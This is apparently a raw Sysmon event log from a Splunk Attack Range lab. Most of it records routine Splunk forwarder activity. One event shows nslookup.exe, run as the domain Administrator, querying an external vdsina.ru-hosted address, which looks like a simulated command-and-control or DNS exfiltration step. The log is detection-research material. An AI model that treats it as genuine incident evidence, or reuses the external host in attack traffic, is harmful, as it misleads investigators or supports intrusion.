Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000058275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000058270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000058265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000058264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.457{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018649Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:22.408{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89050AB53C747C82185FAB6E7BE072DE,SHA256=0E08C7AB95633B56793C8035E4021A2A44A7D2CF03AE1C635B7BD0A736EC1C36,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:22.721{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=493E35048CFB6EF4757CC1C694856291,SHA256=C678E7E7C5F60DF1B42E40E9CB45007FD86ABF0CC0AE4D783153A99721F75FE6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018650Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:23.424{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9DFC538D34FA58D5C3C62313B3F1481D,SHA256=096E2C526382328D97D68909E78DCD3DB5DDE273EFB0DA10CE6EF20DD52231C6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.983{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\system32\nslookup.exeATTACKRANGE\Administratorudptruefalse10.0.1.14win-dc-387.attackrange.local53050-false94.103.82.250v739227.hosted-by-vdsina.ru53domain 10341000x800000000000000058435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:23.924{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\system32\nslookup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:23.924{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\system32\nslookup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000058433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:23.112{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33930321C7E163E5B4EF8F1BF1B42545,SHA256=E35E4FCAA1CD0ACC0C68FA631B57B8F81881C3329706BC72486B467ABD132B19,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018652Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:22.414{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50443-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018651Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:24.424{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A3C3C05DF2055CD19C46B5DC8EE16FA0,SHA256=FC302189352AE88C35A55439C7771F02F64482B508991B0C1930B7A401715BB6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.507{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63225-false10.0.1.12-8000- 23542300x800000000000000058437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:24.128{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0F4518D8390588A0B92E128E78C9C3FD,SHA256=A49992FCCF9B71406E615D09DE5341DE7502267E4A37D9E8AC290B8545465079,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018653Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:25.455{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1CC6864C443C1C5F63D4D9556E057C6E,SHA256=8953FE118E7B6774E4359006F698A93218608E46C4957D64944C6925E973B014,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:25.159{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBC3918B887D0B02D497B748CD7D345C,SHA256=69C0802DABED92AAB0D0367E42346E705686C6FDBE0DF066AC7039B46C59A631,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018654Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:26.470{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=39774717900497BEBE7627F8B8156B92,SHA256=3AD31DB347324898F87EA692B54991F4282083D4ACAE5340B71AC753C06669C7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:26.350{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-065MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:26.332{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3DAD389525CCAF5BD2DEA52783522486,SHA256=78A606C83307EA81429BF4E54C0C43681E2CCECB0D7DD3ED4E463775C634B84D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018655Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:27.518{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DF340B1038834FE95B124DC9593DE47,SHA256=B534B331FBC02171EB29657EBF79C2D5D6729517F98DAE612436D5BDD866A955,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:27.486{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BBB859DD2074ECC56E59A2CF8D805EF5,SHA256=C017FC59BC0B8D382284A249C15005E8B96B2880A232F1F97576C24CC8A3A878,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:27.363{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-066MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:28.492{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B48617A2F3B98F5A295BB8BA7ACF2BF,SHA256=4E96345024957EB086C2CAAEF01A19F237BBB4DBF009E5986F413B9132D6CFEF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018656Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:28.580{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D36CE957F7677E9628D69B2524DEFD90,SHA256=0FB28FAA43447BCE4B73A3505497DAB7850223BC0427CBC95D404B2ACB6BFCC7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:29.711{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DAD605A0F4326AF5016416DC4AD4A8A7,SHA256=99A35DAE7B55B254079C4E9138F4199E493928A0821CFDE00D5A0247E68FB47F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018658Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:27.430{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50444-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018657Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:29.596{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=454082507AE007BC1741646914BD3B1E,SHA256=D3E82CDC113BF4DFF5F8B94B2FCEC1937E5B998B68E35C84083E47EA57ED9BAC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:30.945{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F80420002F4ED112C38B395A2AC03B5C,SHA256=D08514612618ACF3893981B785CA33ABFF57AA4DDB045D9541A30C9E227CB9B3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018659Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:30.611{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=72BE8647F121192DEBCA5881F61D0E45,SHA256=BE2A9F3FA3A4FCBAB710D3A0BA5E97FCDCC7867AD967452228A2AEFE1F04AE9F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:27.528{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63226-false10.0.1.12-8000- 23542300x800000000000000058446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:30.117{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:31.960{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C7DD77232246F0E9D25D1F61A0E00A9,SHA256=734B197520C4E1A2B42D1C7BC415F94D706DEB18296383B9EEE4F32C5B2A30EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018674Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.646{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 